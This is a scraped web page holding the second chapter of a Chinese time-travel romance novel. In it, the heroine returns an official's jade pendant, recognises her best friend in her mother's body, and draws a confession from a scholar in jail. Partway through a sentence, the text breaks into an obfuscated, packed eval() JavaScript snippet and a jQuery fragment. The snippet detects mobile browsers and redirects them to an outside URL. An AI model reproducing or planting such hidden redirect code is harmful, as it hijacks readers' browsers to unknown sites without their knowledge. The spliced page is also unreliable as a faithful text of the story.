默认冷灰
24号文字
方正启体

2. 被怀疑身份

作者:六月曦晨本书字数:K更新时间:
    俞筝然想起来了。


    今早,原主在苏允迟下朝回府的路上将他拦了下来。


    她提着一盒糕点献殷勤,苏允迟不接受,她却不知分寸硬往他怀里塞,拉拉扯扯间不小心将食盒打翻在地。


    “俞娘子,苏某暂不想同任何女子有交集,烦请自重。”


    苏允迟冷声留下这句话后甩袖离去。


    望着苏允迟离开的背影,原主失落地去拾食盒。


    却发现苏允迟的玉佩在拉扯间掉进盒内。


    于是,她捡了。


    捡就算了,还很宝贝地放在自己枕头下,打算过几日再还。


    俞筝然尴尬极了。


    眼下该如何才能不难为情地拿给他。


    “那玉佩乃祖传之物,同其他物品无法比较,请俞娘子归还。”苏允迟的声音落下。


    此言一出,原主各种死缠烂打的画面劈头盖脸砸了下来。


    苏允迟上早朝她蹲点送早点,他绕道走,她追他半条街;


    他外出办案,她尾随送茶水;


    更有不知廉耻的是,她当街送情书……


    以至于,她闺房里藏了许多苏允迟用过的物品。


    帕子、毛笔、砚台……


    妥妥的私生饭啊!


    俞筝然恨不能将自己缩小缩小再缩小。


    她将脖子压到最低,大拇指指甲用力抠食指指腹,深吸了几口气,才压回心头的难堪。


    再抬头,她面上带着甜笑。


    “苏大人,以往是小女子的不是,待我娘亲醒来,我定收拾好您的物品送至京兆府。”


    苏允迟并未回话,只微微侧头打量着她。


    以为行不通,俞筝然脑子快速转着,欲再寻借口。


    “既如此,苏某于府内静候。”话音刚落,苏允迟便转身大步离去。


    望着他凛然的背影,俞筝然抚了抚胸口,缓缓吐了几口气,还没定下心神,倏然听到阮施青一声大喊。


    “筝宝儿,你一定得撑住!”


    筝宝儿?


    原主母亲一直唤“筝筝”的。


    这称呼,这语气!


    同她闺蜜阮施青如出一辙。俞筝然心砰砰直跳。


    原主与自己同名,原主母亲与闺蜜同名。


    一个念头闪电式劈进脑子。


    难道她闺蜜穿到了原主母亲身上?


    太不可思议了!


    俞筝然有些不敢相信。


    她蹲下,轻轻拍打阮施青的脸,边拍边唤:“青姐,你醒醒。”


    “青姐……青姐……”


    阮施青缓缓睁开眼。


    俞筝然眼里含着按捺不住的光。


    “青姐,你醒了,我是俞筝然,你的筝宝儿!”


    “筝宝儿?”阮施青瞪大眸子,嘴唇微微发抖。


    “是我,是我!”俞筝然伸出食指戳了三下阮施青的胳膊。


    戳对方三下,是她们间最爱的小动作。


    阮施青愣在原地,吐不出半个字来。


    “青姐,真是我,你还记不记得,你十岁那年,我八岁,我们偷吃了奶奶好多降压糖片,结果放学路上你晕倒了,我背你去医院。


    “我跑了三里路,结果自己也晕倒了,醒来后,咱们互相掐着对方保持清醒,这才到了医院……”


    俞筝然笑得合不拢嘴。


    阮施青噗嗤笑出声,随即哇一声哭了出来。


    “筝宝儿,太好了,你还活着……”


    “活着呢,活得好好的。”俞筝然拍着她的背安慰。


    二人抱作一团又哭又笑。


    待情绪均稳定下来,俞筝然开口:“青姐,我出了车祸才穿越来的,你怎么来的?”


    “我?我更离谱,我推你入手术室时,心急摔了个狗吃屎就来了。”


    二人又哈哈大笑。


    笑够了,各自取了桌上的糕点和茶水,抱着盘子和茶壶,盘腿坐在地上吃喝起来。


    “以后你可真该听我的,我是你娘了。”阮施青腮帮子塞得鼓鼓的,神色却很严肃。


    俞筝然眼里噙着泪花,笑着点了点头。


    环顾四周,地上净是茶壶茶杯碎片,桌椅横七竖八,无一件完好物。


    “话说,你那娘也太恋爱脑了,那穷书生有什么好,引狼入室!”阮施青冷哼。


    “就是,男人只会影响咱们姐妹挣钱的速度!”俞筝然跟着附和。


    说到“男人”,俞筝然想起玉佩之事。


    “青姐,茶楼咱们明天再收拾吧,你先回房休息,我有件事要办。”


    京兆府门前。


    苏允迟立在阶下,与俞筝然相对。


    俞筝然福了福身双手奉出朱漆盒。


    “苏大人,小女子归还您的私物,过往的糊涂事,还望您大人不记小人过。”


    苏允迟目光落在她低垂的头顶上,眸光微动。


    敞开的盒内,他用过的各种旧物堆得满满当当,面上是那枚玉佩。


    静默蔓延开。


    唯闻府门前风吹槐树树叶的簌簌声。


    感觉手酸,俞筝然将双手往前伸了伸。


    忽地手上一空,苏允迟接过朱漆盒。


    俞筝然抬头时,见他已将盒子交于身后侍从,手里捏着那枚玉佩,细细摩挲上面的纹路。


    那是一枚墨玉,通体纯黑,纹样古朴简约。


    忽然他瞳孔微缩,眸光暗沉,五指缓缓合拢将玉佩攥进掌心。


    旋即,他目光锐利地定在她面上。


    后背有些凉,俞筝然瑟缩了一下。


    “这玉佩,你可曾转手过他人?”苏允迟问。


    俞筝然立马摇头。刚包扎好的额伤有些疼,她不露声色地咬唇忍耐。


    心头却暗自揣测:玉佩,有什么问题么?


    她从枕头下取玉佩时不慎将它掉落到床底下。


    可她已经认真检查了,并无异常啊!


    俞筝然很不解,却听苏允迟道:“今日面对众苦主逼迫,俞娘子竟能有勇有谋全身而退,倒令苏某刮目相看。”


    俞筝然笑着回复:“大人过奖。”


    不知是不是错觉,她觉得他眸光中带着审视。


    再细细看来,他依旧温润如玉,俞筝然小心翼翼开口:“敢问大人,可有审出那穷书生为何害我们母女?”


    “未曾。”他淡淡回答。


    “既如此,可否让小女子一同审讯?”


    见他没有立刻回答,俞筝然赶忙解释:“大人别误会。那书生毕竟也同我们母女同一屋檐下三月,我对他熟,对大人审讯有利。”


    “有理。这边。”苏允迟应下。


    俞筝然跟上苏允迟,入了京兆府狱中黑暗潮湿的牢房。


    穿过幽深的牢狱甬道,在最里的牢间,她见到了那书生。


    他蓬头垢面,很是狼狈。


    如同她们母女第一次见他那般。


    见苏允迟紧抿唇瓣,俞筝然自作主张走近。


    那书生手脚戴着铁链,缩在角落。


    “沈公子,既已落得这步田地,咱们还是打开天窗说亮话吧。”


    “你可是闵家派来的?”


    闵家,京城首富,对她们源香茶楼的地契虎视眈眈。


    穷书生轻蔑冷嗤,别过头去。


    好一副顽强抵抗的模样。


    苏允迟似乎并不在意她越俎代庖之举,双手负于身后,饶有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552959|204385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    兴趣地观看起来。


    “还是说你狼心狗肺,仅仅收了他们钱财便栽赃我们?”俞筝然上前半步,逼问。


    穷书生目光微微闪动,双唇抿成线。


    俞筝然不慌不忙,搬了条凳子坐在他面前。


    “何必呢?沈公子,硬撑无用,可能还受皮肉之苦。”


    她边说边瞥了眼不远处烧得发红的烙铁,意有所指。


    穷书生连咽几口唾沫,咬了咬牙抬头挺胸:“我无话可说。”


    俞筝然从荷包掏出一把瓜子,不紧不慢地磕了起来。


    “记得我们初次相见时,你饿晕在我们茶楼门口。我娘给你吃了糕点喝了热粥,你才醒来……”


    “我还记得你说过,哪怕百无一用是书生,哪怕没人看得起你,你也无所畏惧,男儿立于天地,须得无愧于心。”


    书生垂下头,手指微微蜷了蜷。


    “你还说你想开一间画廊。”


    “沈公子,你是有傲骨的人。”


    直直盯着那书生的双眼,俞筝然叹了叹气,显得很是惋惜:“可为何,你却做了自己最看不起的趋炎附势之事?”


    立于她身侧的苏允迟,目光牢牢锁在她侧脸上,听她这么说,他眸中掠过一丝讶异。


    穷书生眼眶微红。


    知道他心头已有松动,俞筝然添了一句:“我今日实乃一片好心。”


    “你实话说了,也算是对我娘的报答。你也不用受牢狱之刑。”


    书生怔怔地望着她,半晌开口:“是,是我。我收了闵家二公子五百两银子,按照他们的吩咐将毒粉放进茶杯。”


    “五百两银子,我终于可以开画廊了……”


    “很好,多谢相告。”俞筝然没再听他说下去,她站起身,将余下的瓜子收进荷包。


    迎上苏允迟的目光,她笑道:“苏大人,这案子也算结了,剩下的有劳您了。”


    出了京兆府狱,天色已近黄昏。


    经过一处人烟稀少的路口时,一股蛮力将俞筝然拽入巷内。


    她心惊肉跳,刚要出声大喊,那人已捂住她的口鼻。


    “小娘子莫怕,在下并无恶意。”


    俞筝然这才看清来人。


    他整个面庞蒙着黑布,露出一双三角眼,瞳孔却是亮如星辰,透着一股古怪。


    她一把推开那人,接连吸了好几口气:“你有何事?”


    “小娘子可是见过这枚玉佩?”那人递给她一张画纸。


    俞筝然看清后,秀眉微蹙。


    这分明是苏允迟的那枚玉啊!


    她更加狐疑起来。


    那人似有察觉,低声道:“小娘子莫要误会,这玉佩是我师父的遗物。师门有规定,非必要不以真容示人。”


    呸!谁信?


    哪有好人一身黑衣蒙面的?


    “这玉佩,我确实捡过,但是弄丢了。”


    “唉……可惜了,本来打算当了换些银钱呢!”


    见那人怔在原地,俞筝然猛将画纸甩到他面上,撒腿便跑出巷子,狂风一般奔回了茶楼。


    不远处的阴影里。


    苏允迟与参军刘玉并肩而立。


    “刘玉,派人探查她见的是何人。”苏允迟开口。


    刘玉领命而去。


    苏允迟从袖中取出那枚玉佩,放于掌心摩挲。


    此玉,乃江南知府临终前派人送至他手中。


    玉内里是空心的,藏了当朝丞相于江南贪污的罪证。


    而她俞筝然偏偏拾了它,又偏偏弄丢了内里的证据。


    往日她态度殷勤,为人却临事怯懦,自从取得玉佩后态度及心性大变。


    她……是否藏有秘密?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)